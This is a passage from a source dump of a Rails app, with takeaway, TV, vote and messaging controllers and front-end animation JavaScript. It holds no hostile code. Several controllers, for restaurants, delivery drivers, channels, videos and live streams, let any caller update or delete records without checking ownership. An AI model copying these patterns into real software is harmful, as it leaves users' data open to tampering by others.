3.minutes, only: :create, with: -&gt; { redirect_to new_session_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.authenticate_by(params.permit(:email_address, :password))\n      start_new_session_for user\n      redirect_to after_authentication_url\n    else\n      redirect_to new_session_path, alert: \"Try another email address or password.\"\n    end\n  end\n\n  def destroy\n    terminate_session\n    redirect_to new_session_path, status: :see_other\n  end\nend\n```\n\n## `rails/brgen/app/controllers/takeaway/base_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::BaseController &lt; ApplicationController\n\nend\n```\n\n## `rails/brgen/app/controllers/takeaway/delivery_drivers_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Takeaway\n  class DeliveryDriversController &lt; ApplicationController\n    before_action :set_driver, only: %i[show update]\n\n    def index\n      @delivery_drivers = Takeaway::DeliveryDriver.available.limit(100)\n    end\n\n    def show\n    end\n\n    def update\n      if @delivery_driver.update(driver_params)\n        redirect_to takeaway_delivery_driver_path(@delivery_driver), notice: t(\"takeaway.driver_updated\", default: \"Driver updated\")\n      else\n        render :show, status: :unprocessable_entity\n      end\n    end\n\n    private\n\n    def set_driver\n      @delivery_driver = Takeaway::DeliveryDriver.find(params[:id])\n    end\n\n    def driver_params\n      params.require(:delivery_driver).permit(:vehicle_type, :license_number, :available, :current_lat, :current_lng)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/takeaway/favorite_restaurants_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::FavoriteRestaurantsController &lt; Takeaway::BaseController\n  before_action :set_restaurant\n\n  def create\n    Current.user.takeaway_favorite_restaurants.find_or_create_by!(restaurant: @restaurant)\n    redirect_back fallback_location: takeaway_restaurant_path(@restaurant), notice: \"Restaurant saved\"\n  end\n\n  def destroy\n    Current.user.takeaway_favorite_restaurants.find_by(restaurant: @restaurant)&amp;.destroy\n    redirect_back fallback_location: takeaway_restaurant_path(@restaurant), notice: \"Restaurant removed\"\n  end\n\n  private\n\n  def set_restaurant = (@restaurant = Takeaway::Restaurant.find(params[:restaurant_id]))\nend\n```\n\n## `rails/brgen/app/controllers/takeaway/menu_items_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::MenuItemsController &lt; Takeaway::BaseController\n  before_action :set_restaurant\n\n  def create\n    @item = @restaurant.menu_items.build(item_params)\n    @item.save ?\n      redirect_to(takeaway_restaurant_path(@restaurant), notice: \"Item added\") :\n      redirect_to(takeaway_restaurant_path(@restaurant), alert: @item.errors.full_messages.to_sentence)\n  end\n\n  def destroy\n    @restaurant.menu_items.find(params[:id]).destroy\n    redirect_to takeaway_restaurant_path(@restaurant)\n  end\n\n  private\n  def set_restaurant = (@restaurant = Current.user.takeaway_restaurants.find(params[:restaurant_id]))\n  def item_params    = params.require(:takeaway_menu_item).permit(:name, :description, :price_cents, :available, :vegetarian, :vegan, :photo)\nend\n```\n\n## `rails/brgen/app/controllers/takeaway/orders_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::OrdersController &lt; Takeaway::BaseController\n  before_action :set_restaurant, only: %i[new create]\n\n  def index\n    @pagy, @orders = pagy(Current.user.takeaway_orders.recent.includes(:restaurant))\n  end\n\n  def show\n    @order = Current.user.takeaway_orders.includes(:restaurant, order_items: :menu_item).find(params[:id])\n  end\n\n  def new\n    @order      = Takeaway::Order.new\n    @menu_items = @restaurant.menu_items.available\n  end\n\n  def create\n    @order = @restaurant.orders.build(order_params.merge(user: Current.user))\n    item_params.each do |item_id, qty|\n      next unless qty.to_i &gt; 0\n      item = @restaurant.menu_items.find_by(id: item_id)\n      next unless item\n      @order.order_items.build(menu_item: item, quantity: qty.to_i, unit_price_cents: item.price_cents)\n    end\n    saved = ActiveRecord::Base.transaction do\n      @order.save ? @order.calculate_totals! &amp;&amp; true : false\n    end\n    if saved\n      redirect_to takeaway_order_path(@order), notice: \"Order placed\"\n    else\n      @menu_items = @restaurant.menu_items.available\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  def update\n    @order = Takeaway::Order.includes(:restaurant).find(params[:id])\n    @order.advance_status! if @order.restaurant.owner?(Current.user)\n    redirect_to takeaway_order_path(@order)\n  end\n\n  private\n  def set_restaurant = (@restaurant = Takeaway::Restaurant.find(params[:restaurant_id]))\n  def order_params   = params.require(:takeaway_order).permit(:delivery_address, :special_instructions)\n  def item_params    = params.dig(:takeaway_order, :items) || {}\nend\n```\n\n## `rails/brgen/app/controllers/takeaway/restaurants_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::RestaurantsController &lt; Takeaway::BaseController\n  allow_unauthenticated_access only: %i[index show]\n  before_action :set_restaurant, only: %i[show edit update destroy]\n\n  def index\n    scope = Takeaway::Restaurant.active.includes(:user)\n    scope = scope.where(cuisine_type: params[:cuisine]) if params[:cuisine].present?\n    scope = scope.where(\"name LIKE ?\", \"%#{params[:q]}%\") if params[:q].present?\n    @pagy, @restaurants = pagy(scope.popular)\n  end\n\n  def show\n    @menu_items = @restaurant.menu_items.available\n    @favorited = authenticated? &amp;&amp; Current.user.takeaway_favorite_restaurants.exists?(restaurant: @restaurant)\n    @reviews = load_neighbour_reviews\n    @can_review = can_leave_review?\n  end\n\n  def new\n    @restaurant = Takeaway::Restaurant.new\n  end\n\n  def create\n    @restaurant = Current.user.takeaway_restaurants.build(restaurant_params)\n    @restaurant.save ?\n      redirect_to(takeaway_restaurant_path(@restaurant), notice: \"Restaurant created\") :\n      render(:new, status: :unprocessable_entity)\n  end\n\n  def edit; end\n\n  def update\n    @restaurant.update(restaurant_params) ?\n      redirect_to(takeaway_restaurant_path(@restaurant)) :\n      render(:edit, status: :unprocessable_entity)\n  end\n\n  def destroy\n    @restaurant.destroy\n    redirect_to takeaway_restaurants_path\n  end\n\n  private\n\n  def set_restaurant = (@restaurant = Takeaway::Restaurant.find(params[:id]))\n\n  def restaurant_params = params.require(:takeaway_restaurant).permit(\n    :name,\n    :description,\n    :address,\n    :city,\n    :phone,\n    :cuisine_type,\n    :delivery_fee_cents,\n    :min_order_cents,\n    :active,\n  )\n\n  def load_neighbour_reviews\n    base = @restaurant.reviews.includes(:user).order(created_at: :desc).limit(12)\n    return base unless authenticated? &amp;&amp; Current.user&amp;.latitude\n\n    my_lat = Current.user.latitude.to_f\n    my_lng = Current.user.longitude.to_f\n    base.select do |r|\n      rlat = r.reviewer_lat || r.user&amp;.latitude\n      rlng = r.reviewer_lng || r.user&amp;.longitude\n      next false unless rlat &amp;&amp; rlng\n      User.haversine(my_lat, my_lng, rlat.to_f, rlng.to_f) &lt;= 4.0\n    end\n  end\n\n  def can_leave_review?\n    authenticated? &amp;&amp; Current.user.takeaway_orders.where(restaurant: @restaurant, status: \"delivered\").exists?\n  end\nend\n```\n\n## `rails/brgen/app/controllers/takeaway/reviews_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::ReviewsController &lt; Takeaway::BaseController\n  before_action :set_restaurant\n\n  def create\n    unless authenticated?\n      redirect_to(new_session_path, alert: \"Sign in to leave a review\")\n      return\n    end\n\n    user = Current.user\n    delivered_orders = Takeaway::Order.where(user: user, restaurant: @restaurant, status: \"delivered\")\n    has_delivered = delivered_orders.exists?\n    unless has_delivered\n      redirect_to(takeaway_restaurant_path(@restaurant), alert: \"Review only after delivered order\")\n      return\n    end\n\n    # note: unique(order,user) + delivered gate; no mutex needed\n    # law_of_demeter: direct model context here is fine for reviews\n    review = @restaurant.reviews.build(review_params.merge(user: user))\n    if user.latitude.present?\n      review.reviewer_lat = user.latitude\n      review.reviewer_lng = user.longitude\n    end\n\n    if review.save\n      @restaurant.update_rating!\n      redirect_to(takeaway_restaurant_path(@restaurant), notice: \"Review saved\")\n    else\n      redirect_to(takeaway_restaurant_path(@restaurant), alert: review.errors.full_messages.to_sentence)\n    end\n  end\n\n  private\n\n  def set_restaurant\n    @restaurant = Takeaway::Restaurant.find(params[:restaurant_id])\n  end\n\n  def review_params\n    params.require(:takeaway_review).permit(:rating, :body)\n  end\nend\n```\n\n## `rails/brgen/app/controllers/tv/base_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tv::BaseController &lt; ApplicationController\n\nend\n```\n\n## `rails/brgen/app/controllers/tv/channels_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tv::ChannelsController &lt; Tv::BaseController\n  allow_unauthenticated_access only: %i[index show]\n  before_action :set_channel, only: %i[show edit update destroy subscribe unsubscribe]\n\n  def index    = (@pagy, @channels = pagy(Tv::Channel.popular.includes(:user)))\n  def show     = (@pagy, @videos = pagy(@channel.videos.published))\n  def new      = (@channel = Tv::Channel.new)\n  def edit;    end\n\n  def create\n    @channel = Current.user.tv_channels.build(channel_params)\n    @channel.save ? redirect_to(tv_channel_path(@channel), notice: \"Channel created\") : render(:new, status: :unprocessable_entity)\n  end\n\n  def update\n    @channel.update(channel_params) ? redirect_to(tv_channel_path(@channel)) : render(:edit, status: :unprocessable_entity)\n  end\n\n  def destroy = (@channel.destroy and redirect_to tv_channels_path)\n\n  def subscribe\n    Tv::Subscription.find_or_create_by!(user: Current.user, tv_channel: @channel)\n    redirect_back fallback_location: tv_channel_path(@channel)\n  end\n\n  def unsubscribe\n    Tv::Subscription.find_by(user: Current.user, tv_channel: @channel)&amp;.destroy\n    redirect_back fallback_location: tv_channel_path(@channel)\n  end\n\n  private\n  def set_channel    = (@channel = Tv::Channel.find_by!(slug: params[:id]))\n  def channel_params = params.require(:tv_channel).permit(:name, :description, :banner, :avatar)\nend\n```\n\n## `rails/brgen/app/controllers/tv/comments_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tv::CommentsController &lt; Tv::BaseController\n  before_action :require_authentication\n  before_action :set_video\n\n  def create\n    @comment = @video.comments.build(comment_params.merge(user: Current.user))\n    if @comment.save\n      redirect_to tv_video_path(@video), notice: \"Comment added.\"\n    else\n      redirect_to tv_video_path(@video), alert: @comment.errors.full_messages.to_sentence\n    end\n  end\n\n  private\n\n  def set_video\n    @video = Tv::Video.find(params[:video_id])\n  end\n\n  def comment_params\n    params.require(:tv_comment).permit(:body)\n  end\nend\n```\n\n## `rails/brgen/app/controllers/tv/home_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tv::HomeController &lt; Tv::BaseController\n  allow_unauthenticated_access\n\n  def index\n    @pagy_trending, @trending = pagy(Tv::Video.trending.includes(:channel), limit: 12)\n    @live   = Tv::Broadcast.live.includes(:channel).limit(6)\n    @recent = Tv::Video.recent.includes(:channel).limit(8)\n  end\nend\n```\n\n## `rails/brgen/app/controllers/tv/live_streams_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Tv\n  class LiveStreamsController &lt; ApplicationController\n    before_action :set_live_stream, only: %i[show update destroy go_live end_live]\n\n    def index\n      @live_streams = Tv::LiveStream.recent.limit(50)\n    end\n\n    def show\n      @stream_chats = @live_stream.stream_chats.chronological.limit(200)\n    end\n\n    def new\n      @channel = Tv::Channel.find(params[:channel_id]) if params[:channel_id].present?\n      @live_stream = Tv::LiveStream.new(channel: @channel)\n    end\n\n    def create\n      @channel = Tv::Channel.find(params[:channel_id]) if params[:channel_id].present?\n      @live_stream = Tv::LiveStream.new(live_stream_params)\n      @live_stream.channel ||= @channel\n      @live_stream.user = current_user if respond_to?(:current_user, true)\n\n      if @live_stream.save\n        redirect_to tv_live_stream_path(@live_stream), notice: t(\"tv.live_stream_created\", default: \"Live stream created\")\n      else\n        render :new, status: :unprocessable_entity\n      end\n    end\n\n    def update\n      if @live_stream.update(live_stream_params)\n        redirect_to tv_live_stream_path(@live_stream), notice: t(\"tv.live_stream_updated\", default: \"Live stream updated\")\n      else\n        render :show, status: :unprocessable_entity\n      end\n    end\n\n    def destroy\n      @live_stream.destroy\n      redirect_to tv_live_streams_path, notice: t(\"tv.live_stream_deleted\", default: \"Live stream removed\")\n    end\n\n    def go_live\n      @live_stream.go_live!\n      redirect_to tv_live_stream_path(@live_stream)\n    end\n\n    def end_live\n      @live_stream.end_live!\n      redirect_to tv_live_stream_path(@live_stream)\n    end\n\n    private\n\n    def set_live_stream\n      @live_stream = Tv::LiveStream.find(params[:id])\n    end\n\n    def live_stream_params\n      params.require(:live_stream).permit(:title, :description, :status, :stream_key)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/tv/stream_chats_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Tv\n  class StreamChatsController &lt; ApplicationController\n    before_action :set_live_stream\n\n    def create\n      entry = @live_stream.stream_chats.build(stream_chat_params)\n      entry.user = current_user if respond_to?(:current_user, true)\n      entry.save!\n\n      respond_to do |format|\n        format.html { redirect_to tv_live_stream_path(@live_stream) }\n        format.turbo_stream\n        format.json { render json: { id: entry.id }, status: :created }\n      end\n    end\n\n    private\n\n    def set_live_stream\n      @live_stream = Tv::LiveStream.find(params[:live_stream_id])\n    end\n\n    def stream_chat_params\n      params.require(:stream_chat).permit(:message)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/tv/video_notes_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Tv\n  class VideoNotesController &lt; ApplicationController\n    before_action :set_video\n\n    def create\n      note = @video.video_notes.build(video_note_params)\n      note.user = current_user if respond_to?(:current_user, true)\n      note.save!\n\n      respond_to do |format|\n        format.html { redirect_to tv_video_path(@video) }\n        format.turbo_stream\n        format.json { render json: { id: note.id }, status: :created }\n      end\n    end\n\n    private\n\n    def set_video\n      @video = Tv::Video.find(params[:video_id])\n    end\n\n    def video_note_params\n      params.require(:video_note).permit(:body, :timestamp)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/tv/videos_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tv::VideosController &lt; Tv::BaseController\n  allow_unauthenticated_access only: %i[show]\n  before_action :set_video, only: %i[show destroy]\n\n  def show\n    @video.view_events.create!(user: Current.user) if authenticated?\n    @video.increment!(:views_count)\n  end\n\n  def new  = (@video = Tv::Video.new)\n\n  def create\n    channel = Current.user.tv_channels.find(params[:tv_channel_id])\n    @video  = channel.videos.build(video_params.merge(user: Current.user, status: \"ready\"))\n    @video.save ? redirect_to(tv_video_path(@video), notice: \"Video uploaded\") : render(:new, status: :unprocessable_entity)\n  end\n\n  def destroy = (@video.destroy and redirect_to tv_root_path)\n\n  private\n  def set_video    = (@video = Tv::Video.find(params[:id]))\n  def video_params = params.require(:tv_video).permit(:title, :description, :video_file, :thumbnail, :tv_channel_id)\nend\n```\n\n## `rails/brgen/app/controllers/typing_indicators_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass TypingIndicatorsController &lt; ApplicationController\n  before_action :authenticate_user!\n\n  def create\n    conversation = Conversation.for_user(current_user).find(params[:conversation_id])\n    TypingIndicator.set!(conversation:, user: current_user)\n    head :ok\n  end\nend\n```\n\n## `rails/brgen/app/controllers/votes_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass VotesController &lt; ApplicationController\n  before_action :require_authentication\n\n  def create\n    @votable = find_votable\n    vote     = @votable.votes.find_or_initialize_by(user: Current.user)\n    value    = params.dig(:vote, :value).to_i\n\n    if vote.persisted? &amp;&amp; vote.value == value\n      vote.destroy\n    else\n      vote.update!(value:)\n    end\n\n    respond_to do |format|\n      format.turbo_stream\n      format.html { redirect_back fallback_location: root_path }\n    end\n  end\n\n  private\n\n  def find_votable\n    return Post.find(params[:post_id])       if params[:post_id]\n    return Comment.find(params[:comment_id]) if params[:comment_id]\n    raise ActiveRecord::RecordNotFound, \"no votable in params\"\n  end\nend\n```\n\n## `rails/brgen/app/javascript/application.js`\n```javascript\nimport \"@hotwired/turbo-rails\"\nimport \"controllers\"\n\n// \u2500\u2500 Warp tunnel + city carousel \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Runs once on first load; canvas/carousel are data-turbo-permanent so they\n// survive Turbo navigations without re-initialisation.\n\nconst pack32 = (r, g, b, a) =&gt; ((a &amp; 255) &lt;&lt; 24) | ((b &amp; 255) &lt;&lt; 16) | ((g &amp; 255) &lt;&lt; 8) | (r &amp; 255);\nconst motionScale = () =&gt; (typeof matchMedia === \"function\" &amp;&amp; matchMedia(\"(prefers-reduced-motion: reduce)\").matches) ? 0.35 : 1;\nconst isLowEnd = (navigator.hardwareConcurrency &amp;&amp; navigator.hardwareConcurrency &lt;= 2) || (navigator.deviceMemory &amp;&amp; navigator.deviceMemory &lt;= 2);\nconst DPR = Math.min(2, window.devicePixelRatio || 1);\n\nclass SimpleCarousel {\n  constructor(el, ms = 2800) {\n    this.slides = Array.from(el.querySelectorAll(\".carousel-slide\"));\n    this.i = 0; this.n = this.slides.length;\n    if (this.n &gt; 1) setInterval(() =&gt; this.next(), ms);\n  }\n  next() {\n    this.slides[this.i].classList.remove(\"active\");\n    this.i = (this.i + 1) % this.n;\n    this.slides[this.i].classList.add(\"active\");\n  }\n}\n\nclass PixelTunnel {\n  constructor(c) {\n    this.ctx = c; this.w = 0; this.h = 0; this.s = 1;\n    this.imageData = null; this.u32 = null; this.BLACK32 = 0;\n    this.fov = 250; this.speed = 0.75;\n    this.segments = isLowEnd ? 32 : 48;\n    this.baseRadius = 75; this.zStep = isLowEnd ? 6 : 4;\n    this.particles = []; this.centers = []; this.time = 0;\n    this.mouse = { x: 0, y: 0, down: false, active: false };\n    this.stars = []; this.bassWobble = 0;\n  }\n\n  resize(w, h, s) {\n    this.w = w; this.h = h; this.s = s;\n    this.ctx.fillStyle = \"#000\"; this.ctx.fillRect(0, 0, w, h);\n    this.imageData = this.ctx.getImageData(0, 0, w, h);\n    this.u32 = new Uint32Array(this.imageData.data.buffer);\n    const t = new Uint8ClampedArray(4); t[3] = 255;\n    this.BLACK32 = new Uint32Array(t.buffer)[0];\n    this.stars = [];\n    for (let i = 0; i &lt; 80; i++) this.stars.push({ x: (Math.random() - 0.5) * w * 2, y: (Math.random() - 0.5) * h * 2, z: Math.random() * this.fov * 2 - this.fov, brightness: Math.random() * 0.5 + 0.5 });\n    this.init();\n  }\n\n  drawLine32(x1, y1, x2, y2, c) {\n    let dx = Math.abs(x2 - x1), dy = Math.abs(y2 - y1), sx = x1 &lt; x2 ? 1 : -1, sy = y1 &lt; y2 ? 1 : -1, err = dx - dy, lx = x1, ly = y1;\n    for (;;) {\n      if (lx &gt; 0 &amp;&amp; lx &lt; this.w &amp;&amp; ly &gt; 0 &amp;&amp; ly &lt; this.h) this.u32[lx + ly * this.w] = c;\n      if (lx === x2 &amp;&amp; ly === y2) break;\n      const e2 = 2 * err;\n      if (e2 &gt; -dy) { err -= dy; lx += sx; }\n      if (e2 &lt; dx) { err += dx; ly += sy; }\n    }\n  }\n\n  getCirclePos(cx, cy, r, i, s) {\n    const a = i * (Math.PI * 2 / s) + this.time + (this.bassWobble || 0) * 0.1;\n    return { x: cx + Math.cos(a) * r, y: cy + Math.sin(a) * r };\n  }\n\n  init() {\n    this.particles = []; this.centers = [];\n    const w1 = Math.random() * this.w, h1 = Math.random() * this.h; let c = 0;\n    for (let z = -this.fov; z &lt; this.fov; z += this.zStep) {\n      this.centers.push({ x: ((this.w / 2) - w1) * (c / 15) + this.w / 2, y: ((this.h / 2) - h1) * (c / 15) + this.h / 2 }); c++;\n      const row = [];\n      for (let i = 0; i &lt; this.segments; i++) {\n        const p = this.getCirclePos(0, 0, this.baseRadius, i, this.segments);\n        row.push({ x: p.x, y: p.y, z, x2d: 0, y2d: 0, radius: this.baseRadius, radiusAudio: this.baseRadius, index: i, segments: this.segments, centerX: 0, centerY: 0 });\n      }\n      this.particles.push(row);\n    }\n  }\n\n  frame(a) {\n    const m = motionScale();\n    this.bassWobble = this.bassWobble * 0.92 + (a?.bass || 0) * (a?.beat || 0) * 0.08;\n    this.u32.fill(this.BLACK32);\n\n    for (const star of this.stars) {\n      star.z -= this.speed * 2 * m;\n      if (star.z &lt; -this.fov) { star.z += this.fov * 2; star.x = (Math.random() - 0.5) * this.w * 2; star.y = (Math.random() - 0.5) * this.h * 2; }\n      const sc = this.fov / (this.fov + star.z), sx = (this.w / 2 + star.x * sc) | 0, sy = (this.h / 2 + star.y * sc) | 0;\n      const br = (star.brightness * (1 - star.z / this.fov) * 180) | 0;\n      if (sx &gt; 0 &amp;&amp; sx &lt; this.w &amp;&amp; sy &gt; 0 &amp;&amp; sy &lt; this.h) this.u32[sx + sy * this.w] = pack32(br * 0.3, br * 0.5, br, 255);\n    }\n\n    const l = this.particles.length; let s = false;\n    for (let i = 0; i &lt; l; i++) {\n      const row = this.particles[i], rowBack = i &gt; 0 ? this.particles[i - 1] : null, center = this.centers[i];\n      if (this.mouse.active) {\n        center.x = (this.w / 2 + this.mouse.x / this.s) * ((row[0].z - this.fov) / 500) + this.w / 2;\n        center.y = (this.h / 2 + this.mouse.y / this.s) * ((row[0].z - this.fov) / 500) + this.h / 2;\n      } else { center.x += (this.w / 2 - center.x) * 0.015; center.y += (this.h / 2 - center.y) * 0.015; }\n      const f = (a?.average || 0) * 64 + (a?.beat ? 8 : 0);\n      if ((this.baseRadius + f) * (this.fov / (this.fov + row[0].z)) &lt; 0.15) continue;\n      for (let j = 0; j &lt; row.length; j++) {\n        const p = row[j], z = this.fov / (this.fov + p.z);\n        p.x2d = p.x * z + center.x; p.y2d = p.y * z + center.y; p.radiusAudio = p.radius + f;\n        p.z -= this.speed * m; if (p.z &lt; -this.fov) { p.z += this.fov * 2; s = true; }\n        const n = this.getCirclePos(p.centerX, p.centerY, p.radiusAudio, p.index, p.segments); p.x = n.x; p.y = n.y;\n      }\n      const d = i / Math.max(1, l - 1), bt = a?.beat || 0, av = a?.average || 0.45, bs = a?.bass || 0.5;\n      const col = pack32(Math.round((20 + 60 * d + bt * 30) / 8) * 8, Math.round((40 + 120 * av) / 8) * 8, Math.round((180 * bs + 75 * (a?.high || 0.35)) / 8) * 8, 255);\n      for (let j = 1; j &lt; row.length; j++) this.drawLine32(row[j].x2d | 0, row[j].y2d | 0, row[j - 1].x2d | 0, row[j - 1].y2d | 0, col);\n      if (row.length &gt; 2) this.drawLine32(row[row.length - 1].x2d | 0, row[row.length - 1].y2d | 0, row[0].x2d | 0, row[0].y2d | 0, col);\n      if (i &gt; 0 &amp;&amp; i &lt; l - 1 &amp;&amp; rowBack) for (let j = 0; j &lt; row.length; j++) this.drawLine32(row[j].x2d | 0, row[j].y2d | 0, rowBack[j].x2d | 0, rowBack[j].y2d | 0, col);\n    }\n    if (s) this.particles = this.particles.sort((a, b) =&gt; b[0].z - a[0].z);\n    this.time += 0.005 * m;\n\n    const cx = this.w / 2, cy = this.h / 2, beat = a?.beat || 0;\n    const glowR = 2 + beat * 1.5, glowCol = pack32(80, 200, 160, 255);\n    for (let dx = -glowR; dx &lt;= glowR; dx++) for (let dy = -glowR; dy &lt;= glowR; dy++) if (dx * dx + dy * dy &lt;= glowR * glowR) { const px = (cx + dx) | 0, py = (cy + dy) | 0; if (px &gt; 0 &amp;&amp; px &lt; this.w &amp;&amp; py &gt; 0 &amp;&amp; py &lt; this.h) this.u32[px + py * this.w] = glowCol; }\n    this.ctx.putImageData(this.imageData, 0, 0);\n  }\n}\n\n// Synthetic beat data (no audio needed for visual effect)\nlet _bp = 0, _be = 0;\nconst syntheticData = () =&gt; {\n  _bp += 0.08 * motionScale();\n  const b = 0.5 + 0.4 * Math.sin(_bp * 0.8), mid = 0.45 + 0.35 * Math.sin(_bp * 1.2 + 0.7), h = 0.35 + 0.35 * Math.sin(_bp * 1.8 + 1.2);\n  const beat = Math.sin(_bp) &gt; 0.8 ? 1 : 0; _be = _be * 0.94 + (beat ? 0.4 : 0) * 0.06;\n  return { bass: b, mid, high: h, average: (b + mid + h) / 3, beat: _be };\n};\n\nlet tunnel, SCALE = 1, lastT = 0;\n\nfunction initTunnel() {\n  const canvas = document.getElementById(\"tunnel-canvas\");\n  if (!canvas || canvas.__tunnelInit) return;\n  canvas.__tunnelInit = true;\n\n  const ctx = canvas.getContext(\"2d\", { alpha: false, willReadFrequently: true }) || canvas.getContext(\"2d\");\n  tunnel = new PixelTunnel(ctx);\n\n  const sizeCanvas = () =&gt; {\n    SCALE = Math.max(0.5, Math.min(2, Math.min(2, DPR) * (isLowEnd ? 0.8 : 1)));\n    const w = Math.floor(window.innerWidth * SCALE), h = Math.floor(window.innerHeight * SCALE);\n    canvas.width = w; canvas.height = h;\n    canvas.style.width = window.innerWidth + \"px\"; canvas.style.height = window.innerHeight + \"px\";\n    tunnel.resize(w, h, SCALE);\n  };\n  sizeCanvas();\n  window.addEventListener(\"resize\", () =&gt; { clearTimeout(window.__rzT); window.__rzT = setTimeout(sizeCanvas, 80); });\n\n  // Canvas fills the viewport (position:fixed; inset:0) so clientX === canvas X.\n  // Listen on window so app-shell (z-index:10) doesn't swallow the events.\n  window.addEventListener(\"mousemove\", e =&gt; { if (!tunnel) return; tunnel.mouse = { x: e.clientX * SCALE, y: e.clientY * SCALE, down: tunnel.mouse.down, active: true }; }, { passive: true });\n  window.addEventListener(\"mouseleave\", () =&gt; { if (!tunnel) return; tunnel.mouse.active = false; tunnel.mouse.down = false; });\n\n  const animate = () =&gt; {\n    const n = performance.now();\n    if (!document.hidden &amp;&amp; n - lastT &gt;= 16) { tunnel.frame(syntheticData()); lastT = n; }\n    requestAnimationFrame(animate);\n  };\n  animate();\n}\n\nfunction updateCarouselPrefix() {\n  const el = document.getElementById(\"cityCarousel\");\n  if (!el) return;\n  const slides = el.querySelectorAll(\".carousel-slide\");\n  slides.forEach(s =&gt; { if (!s.dataset.base) s.dataset.base = s.textContent.trim(); });\n  const parts = location.hostname.split(\".\");\n  const prefix = parts.length &gt;= 3 &amp;&amp; parts[0] !== \"www\" ? parts[0] + \".\" : \"\";\n  slides.forEach(s =&gt; { s.textContent = prefix + s.dataset.base; });\n}\n\nfunction initCarousel() {\n  const el = document.getElementById(\"cityCarousel\");\n  if (!el || el.__carouselInit) return;\n  el.__carouselInit = true;\n  new SimpleCarousel(el);\n  updateCarouselPrefix();\n}\n\nfunction initSplash() {\n  const splash = document.getElementById(\"splash\");\n  if (!splash || splash.__splashInit) return;\n  splash.__splashInit = true;\n\n  const dismiss = () =&gt; {\n    if (splash.hidden) return;\n    splash.style.pointerEvents = \"none\";\n    splash.classList.add(\"ack\");\n    const h2 = splash.querySelector(\"h2\");\n    if (h2) h2.classList.add(\"clicked\");\n    setTimeout(() =&gt; { splash.hidden = true; splash.classList.remove(\"ack\"); }, 220);\n  };\n\n  splash.addEventListener(\"click\", e =&gt; { e.stopPropagation(); dismiss(); });\n  splash.addEventListener(\"keydown\", e =&gt; { if (e.code === \"Enter\" || e.code === \"Space\") { e.preventDefault(); dismiss(); } });\n  splash.focus();\n}\n\ndocument.addEventListener(\"DOMContentLoaded\", () =&gt; {\n  initTunnel();\n  initCarousel();\n  initSplash();\n});\n\n// Re-run splash + carousel prefix on Turbo page loads (tunnel/carousel persist via data-turbo-permanent)\ndocument.addEventListener(\"turbo:load\", () =&gt; {\n  initSplash();\n  updateCarouselPrefix();\n});\n\nif (\"serviceWorker\" in navigator) navigator.serviceWorker.register(\"/service-worker\")\n\n\n// Nav swipe-to-reveal\ndocument.addEventListener(\"turbo:load\", () =&gt; {\n  const nav = document.querySelector(\"nav\");\n  if (!nav) return;\n  let y0 = 0;\n  document.addEventListener(\"touchstart\", e =&gt; { y0 = e.touches[0].clientY; }, { passive: true });\n  document.addEventListener(\"touchend\", e =&gt; {\n    const dy = e.changedTouches[0].clientY - y0;\n    if (dy &gt; 40) nav.classList.add(\"nav-visible\");\n    else if (dy &lt; -40) nav.classList.remove(\"nav-visible\");\n  }, { passive: true });\n});\n```\n\n## `rails/brgen/app/javascript/controllers/animated_number_controller.js`\n```javascript\nimport AnimatedNumber from \"@stimulus-components/animated-number\"\nexport default class extends AnimatedNumber {}\n```\n\n## `rails/brgen/app/javascript/controllers/application.js`\n```javascript\nimport { Application } from \"@hotwired/stimulus\"\n\nconst application = Application.start()\n\n// Configure Stimulus development experience\napplication.debug = false\nwindow.Stimulus   = application\n\nexport { application }\n```\n\n## `rails/brgen/app/javascript/controllers/application_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\nimport StimulusReflex from \"stimulus_reflex\"\n\nexport default class extends Controller {\n  connect() {\n    StimulusReflex.register(this)\n  }\n}\n```\n\n## `rails/brgen/app/javascript/controllers/auto_submit_controller.js`\n```javascript\nimport AutoSubmit from \"@stimulus-components/auto-submit\"\nexport default class extends AutoSubmit {}\n```\n\n## `rails/brgen/app/javascript/controllers/character_counter_controller.js`\n```javascript\nimport CharacterCounter from \"@stimulus-components/character-counter\"\nexport default class extends CharacterCounter {}\n```\n\n## `rails/brgen/app/javascript/controllers/clipboard_controller.js`\n```javascript\nimport Clipboard from \"@stimulus-components/clipboard\"\nexport default class extends Clipboard {}\n```\n\n## `rails/brgen/app/javascript/controllers/dialog_controller.js`\n```javascript\nimport Dialog from \"@stimulus-components/dialog\"\nexport default class extends Dialog {}\n```\n\n## `rails/brgen/app/javascript/controllers/dropdown_controller.js`\n```javascript\nimport Dropdown from \"@stimulus-components/dropdown\"\nexport default class extends Dropdown {}\n```\n\n## `rails/brgen/app/javascript/controllers/futurism_load_more_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\n/**\n * Futurism-style infinite scroll for Pagy lists.\n * Amazon-like \"load more as you scroll\" behavior.\n *\n * Usage on sentinel:\n * 